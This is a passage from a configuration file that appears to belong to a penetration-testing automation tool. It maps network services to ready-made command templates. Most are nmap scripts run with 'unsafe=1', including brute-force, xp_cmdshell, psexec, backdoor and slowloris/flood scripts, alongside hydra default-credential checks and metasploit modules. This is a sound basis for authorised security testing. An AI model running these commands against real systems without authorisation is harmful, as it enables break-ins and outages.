--script-args=unsafe=1", citrix -citrix-enum-apps.nse=citrix-enum-apps.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-apps.nse --script-args=unsafe=1", citrix -citrix-enum-servers-xml.nse=citrix-enum-servers-xml.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers-xml.nse --script-args=unsafe=1", citrix -citrix-enum-servers.nse=citrix-enum-servers.nse, "nmap -Pn [IP] -p [PORT] --script=citrix-enum-servers.nse --script-args=unsafe=1", citrix -dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -u http://[IP]:[PORT]/, "http,https,ssl,soap,http-proxy,http-alt" -enum4linux=Run enum4linux, enum4linux [IP], "netbios-ssn,microsoft-ds" -finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger -ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp -ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp -ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp -ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp -ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp -ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp -http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" -http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp 